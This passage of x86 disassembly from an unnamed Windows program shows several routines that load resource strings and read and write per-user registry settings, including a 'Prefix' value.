lea eax, [ebp+psz]
test eax, eax
jnz short loc_407F20
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_407F69
; ---------------------------------------------------------------------------
loc_407F20: ; CODE XREF: sub_407EC0+52j
lea ecx, [ebp+psz]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [edi], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, edi
mov edi, [ebp+Type]
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_407F69
; ---------------------------------------------------------------------------
loc_407F66: ; CODE XREF: sub_407EC0+48j
mov [ebp+bstrString], ebx
loc_407F69: ; CODE XREF: sub_407EC0+5Ej
; sub_407EC0+A4j
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_407F76
xor esi, esi
jmp short loc_407FA2
; ---------------------------------------------------------------------------
loc_407F76: ; CODE XREF: sub_407EC0+B0j
push offset MultiByteStr ; "\\"
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push esi ; cchWideChar
push offset MultiByteStr ; "\\"
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_407FA2: ; CODE XREF: sub_407EC0+B4j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+bstrString]
call sub_403920
mov ecx, [edi+1Ch]
push 7Ah ; bstrString
push ecx ; hInstance
lea ecx, [ebp+bstrString]
call sub_40A840
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; phkResult
lea ecx, [edi+20h] ; int
call sub_408FC0
test al, al
jnz short loc_40800A
mov ecx, edi
call sub_4081B0
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_407FF0
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_407FF0: ; CODE XREF: sub_407EC0+122j
mov edx, [ebp+bstrString]
push edx ; bstrString
call ds:SysFreeString
or eax, 0FFFFFFFFh
lea esp, [ebp-444h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40800A: ; CODE XREF: sub_407EC0+114j
lea eax, [ebp+hKey]
lea ecx, [ebp+bstrString]
push eax ; phkResult
push 20019h ; samDesired
push ebx ; ulOptions
call sub_40A2D0
mov edi, ds:RegOpenKeyExA
push eax ; lpSubKey
push 80000001h ; hKey
call edi ; RegOpenKeyExA
test eax, eax
jnz loc_408108
mov eax, lpValueName
mov esi, ds:RegQueryValueExA
lea ecx, [ebp+cbData]
lea edx, [ebp+Type]
push ecx ; lpcbData
mov ecx, [ebp+hKey]
push ebx ; lpData
push edx ; lpType
push ebx ; lpReserved
push eax ; lpValueName
push ecx ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_408095
lea edx, [ebp+cbData]
lea eax, [ebp+Data]
push edx ; lpcbData
mov edx, lpValueName
lea ecx, [ebp+Type]
push eax ; lpData
mov eax, [ebp+hKey]
push ecx ; lpType
push ebx ; lpReserved
push edx ; lpValueName
push eax ; hKey
call esi ; RegQueryValueExA
mov ecx, [ebp+cbData]
lea edx, [ebp+Data]
push ecx
lea eax, [ebp+String]
push edx
push eax
call sub_40B070
mov ecx, [ebp+cbData]
add esp, 0Ch
mov [ebp+ecx+String], bl
jmp short loc_40809B
; ---------------------------------------------------------------------------
loc_408095: ; CODE XREF: sub_407EC0+190j
mov [ebp+String], bl
loc_40809B: ; CODE XREF: sub_407EC0+1D3j
mov ecx, off_40F27C
lea edx, [ebp+cbData]
push edx ; lpcbData
mov edx, [ebp+hKey]
lea eax, [ebp+Type]
push ebx ; lpData
push eax ; lpType
push ebx ; lpReserved
push ecx ; lpValueName
push edx ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_4080F8
lea eax, [ebp+cbData]
lea ecx, [ebp+Data]
push eax ; lpcbData
mov eax, off_40F27C
lea edx, [ebp+Type]
push ecx ; lpData
mov ecx, [ebp+hKey]
push edx ; lpType
push ebx ; lpReserved
push eax ; lpValueName
push ecx ; hKey
call esi ; RegQueryValueExA
mov edx, [ebp+cbData]
lea eax, [ebp+Data]
push edx
lea ecx, [ebp+var_138]
push eax
push ecx
call sub_40B070
mov edx, [ebp+cbData]
add esp, 0Ch
mov [ebp+edx+var_138], bl
jmp short loc_4080FE
; ---------------------------------------------------------------------------
loc_4080F8: ; CODE XREF: sub_407EC0+1F4j
mov [ebp+var_138], bl
loc_4080FE: ; CODE XREF: sub_407EC0+236j
mov eax, [ebp+hKey]
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_408108: ; CODE XREF: sub_407EC0+16Cj
mov edx, lpSubKey
lea ecx, [ebp+hKey]
push ecx ; phkResult
push 0F003Fh ; samDesired
push ebx ; ulOptions
push edx ; lpSubKey
push 80000001h ; hKey
call edi ; RegOpenKeyExA
test eax, eax
jnz short loc_40817B
mov edi, ds:lstrlenA
lea eax, [ebp+String]
push eax ; lpString
call edi ; lstrlenA
mov edx, lpValueName
mov esi, ds:RegSetValueExA
lea ecx, [ebp+String]
push eax ; cbData
mov eax, [ebp+hKey]
push ecx ; lpData
push 1 ; dwType
push ebx ; Reserved
push edx ; lpValueName
push eax ; hKey
call esi ; RegSetValueExA
lea ecx, [ebp+var_138]
push ecx ; lpString
call edi ; lstrlenA
mov ecx, [ebp+hKey]
lea edx, [ebp+var_138]
push eax ; cbData
mov eax, off_40F27C
push edx ; lpData
push 1 ; dwType
push ebx ; Reserved
push eax ; lpValueName
push ecx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+hKey]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_40817B: ; CODE XREF: sub_407EC0+262j
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_40818E
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_40818E: ; CODE XREF: sub_407EC0+2C0j
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
lea esp, [ebp-444h]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4081B0 proc near ; CODE XREF: sub_407EC0+118p
String = byte ptr -54Ch
Data = byte ptr -34Ch
var_24C = byte ptr -24Ch
var_14C = byte ptr -14Ch
dwDisposition = dword ptr -4Ch
bstrString = dword ptr -48h
lpMem = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_1E = byte ptr -1Eh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
lpString = dword ptr -10h
Type = dword ptr -0Ch
cbData = dword ptr -8
hKey = dword ptr -4
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
lea eax, [ebp+hKey]
mov edi, ecx
push eax ; phkResult
mov ecx, lpSubKey
xor ebx, ebx
push 20019h ; samDesired
push ebx ; ulOptions
push ecx ; lpSubKey
push 80000001h ; hKey
mov [ebp+var_14], edi
call ds:RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz loc_4082C1
mov ecx, lpValueName
mov esi, ds:RegQueryValueExA
lea edx, [ebp+cbData]
lea eax, [ebp+Type]
push edx ; lpcbData
mov edx, [ebp+hKey]
push ebx ; lpData
push eax ; lpType
push ebx ; lpReserved
push ecx ; lpValueName
push edx ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_40824A
lea eax, [ebp+cbData]
lea ecx, [ebp+Data]
push eax ; lpcbData
mov eax, lpValueName
lea edx, [ebp+Type]
push ecx ; lpData
mov ecx, [ebp+hKey]
push edx ; lpType
push ebx ; lpReserved
push eax ; lpValueName
push ecx ; hKey
call esi ; RegQueryValueExA
mov edx, [ebp+cbData]
lea eax, [ebp+Data]
push edx
lea ecx, [ebp+var_24C]
push eax
push ecx
call sub_40B070
mov edx, [ebp+cbData]
add esp, 0Ch
mov [ebp+edx+var_24C], bl
jmp short loc_408251
; ---------------------------------------------------------------------------
loc_40824A: ; CODE XREF: sub_4081B0+56j
mov [ebp+var_24C], 0
loc_408251: ; CODE XREF: sub_4081B0+98j
mov edx, off_40F27C
lea eax, [ebp+cbData]
push eax ; lpcbData
mov eax, [ebp+hKey]
lea ecx, [ebp+Type]
push ebx ; lpData
push ecx ; lpType
push ebx ; lpReserved
push edx ; lpValueName
push eax ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_4082B0
lea ecx, [ebp+cbData]
lea edx, [ebp+Data]
push ecx ; lpcbData
mov ecx, off_40F27C
lea eax, [ebp+Type]
push edx ; lpData
mov edx, [ebp+hKey]
push eax ; lpType
push ebx ; lpReserved
push ecx ; lpValueName
push edx ; hKey
call esi ; RegQueryValueExA
mov eax, [ebp+cbData]
lea ecx, [ebp+Data]
push eax
lea edx, [ebp+var_14C]
push ecx
push edx
call sub_40B070
mov eax, [ebp+cbData]
add esp, 0Ch
mov [ebp+eax+var_14C], 0
jmp short loc_4082B7
; ---------------------------------------------------------------------------
loc_4082B0: ; CODE XREF: sub_4081B0+BAj
mov [ebp+var_14C], 0
loc_4082B7: ; CODE XREF: sub_4081B0+FEj
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_4082C1: ; CODE XREF: sub_4081B0+31j
mov eax, [edi+1Ch]
lea edx, [ebp+String]
push 200h ; cchBufferMax
push edx ; lpBuffer
push 71h ; uID
push eax ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_40], ebx
mov [ebp+var_3C], 0
mov [ebp+var_1E], 0
call ds:LoadStringA ; LoadStringA
mov esi, eax
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
mov edi, ds:MultiByteToWideChar
cmp esi, ebx
jz short loc_40835D
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_408318
xor eax, eax
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_408360
; ---------------------------------------------------------------------------
loc_408318: ; CODE XREF: sub_4081B0+158j
lea edx, [ebp+String]
push edx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call edi ; MultiByteToWideChar
mov eax, ebx
xor ebx, ebx
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_408360
; ---------------------------------------------------------------------------
loc_40835D: ; CODE XREF: sub_4081B0+14Ej
mov [ebp+bstrString], ebx
loc_408360: ; CODE XREF: sub_4081B0+166j
; sub_4081B0+1ABj
mov ecx, offset MultiByteStr ; "\\"
test ecx, ecx
jnz short loc_40836E
mov [ebp+lpString], ebx
jmp short loc_4083A4
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_4081B0+1B7j
push offset MultiByteStr ; "\\"
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call edi ; MultiByteToWideChar
mov [ebp+lpString], ebx
xor ebx, ebx
loc_4083A4: ; CODE XREF: sub_4081B0+1BCj
mov edx, [ebp+lpString]
push edx ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, eax
mov eax, [ebp+bstrString]
cmp eax, ebx
mov [ebp+var_1C], edi
jnz short loc_4083BE
xor esi, esi
jmp short loc_4083C7
; ---------------------------------------------------------------------------
loc_4083BE: ; CODE XREF: sub_4081B0+208j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_4083C7: ; CODE XREF: sub_4081B0+20Cj
lea eax, [esi+edi]
push eax ; ui
push ebx ; strIn
mov [ebp+var_18], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_408422
lea eax, [esi+esi]
mov esi, [ebp+bstrString]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_1C]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_18]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov [ebp+bstrString], ebx
loc_408422: ; CODE XREF: sub_4081B0+229j
mov edx, [ebp+var_14]
push 7Ah ; bstrString
lea ecx, [ebp+bstrString]
mov eax, [edx+1Ch]
push eax ; hInstance
call sub_40A840
lea ecx, [ebp+dwDisposition]
lea edx, [ebp+hKey]
push ecx ; lpdwDisposition
push edx ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jnz short loc_4084B9
mov edi, ds:lstrlenA
lea eax, [ebp+var_24C]
push eax ; lpString
call edi ; lstrlenA
mov edx, lpValueName
mov esi, ds:RegSetValueExA
lea ecx, [ebp+var_24C]
push eax ; cbData
mov eax, [ebp+hKey]
push ecx ; lpData
push 1 ; dwType
push 0 ; Reserved
push edx ; lpValueName
push eax ; hKey
call esi ; RegSetValueExA
lea ecx, [ebp+var_14C]
push ecx ; lpString
call edi ; lstrlenA
mov ecx, [ebp+hKey]
lea edx, [ebp+var_14C]
push eax ; cbData
mov eax, off_40F27C
push edx ; lpData
push 1 ; dwType
push 0 ; Reserved
push eax ; lpValueName
push ecx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+hKey]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_4084B9: ; CODE XREF: sub_4081B0+2AEj
mov eax, [ebp+lpMem]
test eax, eax
jz short loc_4084D0
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], 0
loc_4084D0: ; CODE XREF: sub_4081B0+30Ej
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
lea esp, [ebp-558h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4081B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4084F0(BYTE *lpData)
sub_4084F0 proc near ; CODE XREF: sub_406E00+3Ap
psz = byte ptr -244h
dwDisposition = dword ptr -44h
bstrString = dword ptr -40h
lpMem = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_16 = byte ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
hKey = dword ptr -8
lpString = dword ptr -4
lpData = dword ptr 8
push ebp
mov ebp, esp
sub esp, 244h
mov eax, [ecx+1Ch]
push ebx
push esi
mov [ebp+var_10], ecx
push edi
lea ecx, [ebp+psz]
push 200h ; cchBufferMax
push ecx ; lpBuffer
xor ebx, ebx
push 71h ; uID
push eax ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], bl
mov [ebp+var_16], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
mov edi, ds:lstrlenA
cmp esi, ebx
jz short loc_408599
lea eax, [ebp+psz]
test eax, eax
jnz short loc_408554
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_40859C
; ---------------------------------------------------------------------------
loc_408554: ; CODE XREF: sub_4084F0+56j
lea ecx, [ebp+psz]
push ecx ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, ebx
xor ebx, ebx
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_40859C
; ---------------------------------------------------------------------------
loc_408599: ; CODE XREF: sub_4084F0+4Cj
mov [ebp+bstrString], ebx
loc_40859C: ; CODE XREF: sub_4084F0+62j
; sub_4084F0+A7j
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_4085AA
mov [ebp+lpString], ebx
jmp short loc_4085E0
; ---------------------------------------------------------------------------
loc_4085AA: ; CODE XREF: sub_4084F0+B3j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], ebx
xor ebx, ebx
loc_4085E0: ; CODE XREF: sub_4084F0+B8j
mov ecx, [ebp+lpString]
push ecx ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, eax
mov eax, [ebp+bstrString]
cmp eax, ebx
mov [ebp+var_14], edi
jnz short loc_4085FA
xor esi, esi
jmp short loc_408603
; ---------------------------------------------------------------------------
loc_4085FA: ; CODE XREF: sub_4084F0+104j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_408603: ; CODE XREF: sub_4084F0+108j
lea eax, [esi+edi]
push eax ; ui
push ebx ; strIn
mov [ebp+var_C], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40865E
lea eax, [esi+esi]
mov esi, [ebp+bstrString]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_14]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_C]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov [ebp+bstrString], ebx
loc_40865E: ; CODE XREF: sub_4084F0+125j
mov edx, [ebp+var_10]
push 7Ah ; bstrString
lea ecx, [ebp+bstrString]
mov eax, [edx+1Ch]
push eax ; hInstance
call sub_40A840
lea ecx, [ebp+dwDisposition]
lea edx, [ebp+hKey]
push ecx ; lpdwDisposition
push edx ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jnz short loc_4086BF
mov eax, [ebp+lpData]
mov ecx, [ebp+hKey]
push 0Ah ; cbData
push eax ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPrefix ; "Prefix"
push ecx ; hKey
call ds:RegSetValueExA ; RegSetValueExA
mov edx, [ebp+hKey]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_4086BF: ; CODE XREF: sub_4084F0+1AAj
mov eax, [ebp+lpMem]
test eax, eax
jz short loc_4086D6
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], 0
loc_4086D6: ; CODE XREF: sub_4084F0+1D4j
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
lea esp, [ebp-250h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_4084F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4086F0 proc near ; CODE XREF: sub_405C90+7C2p
psz = byte ptr -454h
Data = byte ptr -254h
var_154 = byte ptr -154h
bstrString = dword ptr -54h
lpMem = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_2A = byte ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Type = dword ptr -20h
String2 = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
hKey = dword ptr -0Ch
lpString = dword ptr -8
cbData = dword ptr -4
push ebp
mov ebp, esp
sub esp, 454h
mov eax, [ecx+1Ch]
push ebx
push esi
mov [ebp+var_10], ecx
push edi
lea ecx, [ebp+psz]
push 200h ; cchBufferMax
push ecx ; lpBuffer
xor ebx, ebx
push 71h ; uID
push eax ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_4C], ebx
mov [ebp+var_48], bl
mov [ebp+var_2A], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
mov edi, ds:lstrlenA
cmp esi, ebx
jz short loc_408799
lea eax, [ebp+psz]
test eax, eax
jnz short loc_408754
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_40879C
; ---------------------------------------------------------------------------
loc_408754: ; CODE XREF: sub_4086F0+56j
lea ecx, [ebp+psz]
push ecx ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, ebx
xor ebx, ebx
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_40879C
; ---------------------------------------------------------------------------
loc_408799: ; CODE XREF: sub_4086F0+4Cj
mov [ebp+bstrString], ebx
loc_40879C: ; CODE XREF: sub_4086F0+62j
; sub_4086F0+A7j
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_4087AA
mov [ebp+lpString], ebx
jmp short loc_4087E0
; ---------------------------------------------------------------------------
loc_4087AA: ; CODE XREF: sub_4086F0+B3j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], ebx
xor ebx, ebx
loc_4087E0: ; CODE XREF: sub_4086F0+B8j
mov ecx, [ebp+lpString]
push ecx ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, eax
mov eax, [ebp+bstrString]
cmp eax, ebx
mov [ebp+var_24], edi
jnz short loc_4087FA
xor esi, esi
jmp short loc_408803
; ---------------------------------------------------------------------------
loc_4087FA: ; CODE XREF: sub_4086F0+104j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_408803: ; CODE XREF: sub_4086F0+108j
lea eax, [esi+edi]
push eax ; ui
push ebx ; strIn
mov [ebp+var_28], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40885E
lea eax, [esi+esi]
mov esi, [ebp+bstrString]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_24]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_28]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov [ebp+bstrString], ebx
loc_40885E: ; CODE XREF: sub_4086F0+125j
mov edx, [ebp+var_10]
push 7Ah ; bstrString
lea ecx, [ebp+bstrString]
mov eax, [edx+1Ch]
push eax ; hInstance
call sub_40A840
lea ecx, [ebp+hKey]
push ecx ; phkResult
push 20019h ; samDesired
push 0 ; ulOptions
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_408906
mov ecx, [ebp+hKey]
lea edx, [ebp+cbData]
mov esi, ds:RegQueryValueExA
push edx ; lpcbData
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push 0 ; lpReserved
push offset aPrefix ; "Prefix"
push ecx ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_4088F5
lea edx, [ebp+cbData]
lea eax, [ebp+Data]
push edx ; lpcbData
mov edx, [ebp+hKey]
lea ecx, [ebp+Type]
push eax ; lpData
push ecx ; lpType
push 0 ; lpReserved
push offset aPrefix ; "Prefix"
push edx ; hKey
call esi ; RegQueryValueExA
mov eax, [ebp+cbData]
lea ecx, [ebp+Data]
push eax
lea edx, [ebp+var_154]
push ecx
push edx
call sub_40B070
mov eax, [ebp+cbData]
add esp, 0Ch
mov [ebp+eax+var_154], 0
jmp short loc_4088FC
; ---------------------------------------------------------------------------
loc_4088F5: ; CODE XREF: sub_4086F0+1C0j
mov [ebp+var_154], 0
loc_4088FC: ; CODE XREF: sub_4086F0+203j
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_408906: ; CODE XREF: sub_4086F0+1A0j
lea edi, [ebp+var_154]
or ecx, 0FFFFFFFFh
xor eax, eax
xor edx, edx
repne scasb
mov dword ptr [ebp+String2], edx
not ecx
mov [ebp+var_18], edx
dec ecx
mov [ebp+var_14], dx
jz short loc_408939
lea eax, [ebp+var_154]
push 0Ah
lea ecx, [ebp+String2]
push eax
push ecx
call sub_40B070
add esp, 0Ch
loc_408939: ; CODE XREF: sub_4086F0+232j
mov ecx, dword_40FBC8
lea edx, [ebp+String2]
push edx ; lpString2
call sub_409C20
mov eax, [ebp+lpMem]
test eax, eax
jz short loc_40895F
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], 0
loc_40895F: ; CODE XREF: sub_4086F0+25Dj
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
lea esp, [ebp-460h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4086F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408980 proc near ; CODE XREF: sub_405C90+15Cp
; sub_405C90+1D5p
psz = byte ptr -448h
Data = byte ptr -248h
var_148 = byte ptr -148h
bstrString = dword ptr -48h
lpMem = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_1E = byte ptr -1Eh
Type = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
hKey = dword ptr -0Ch
lpString = dword ptr -8
cbData = dword ptr -4
push ebp
mov ebp, esp
sub esp, 448h
mov eax, [ecx+1Ch]
push ebx
push esi
mov [ebp+var_10], ecx
push edi
lea ecx, [ebp+psz]
push 200h ; cchBufferMax
push ecx ; lpBuffer
xor ebx, ebx
push 71h ; uID
push eax ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_40], ebx
mov [ebp+var_3C], bl
mov [ebp+var_1E], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
mov edi, ds:lstrlenA
cmp esi, ebx
jz short loc_408A29
lea eax, [ebp+psz]
test eax, eax
jnz short loc_4089E4
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_408A2C
; ---------------------------------------------------------------------------
loc_4089E4: ; CODE XREF: sub_408980+56j
lea ecx, [ebp+psz]
push ecx ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, ebx
xor ebx, ebx
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_408A2C
; ---------------------------------------------------------------------------
loc_408A29: ; CODE XREF: sub_408980+4Cj
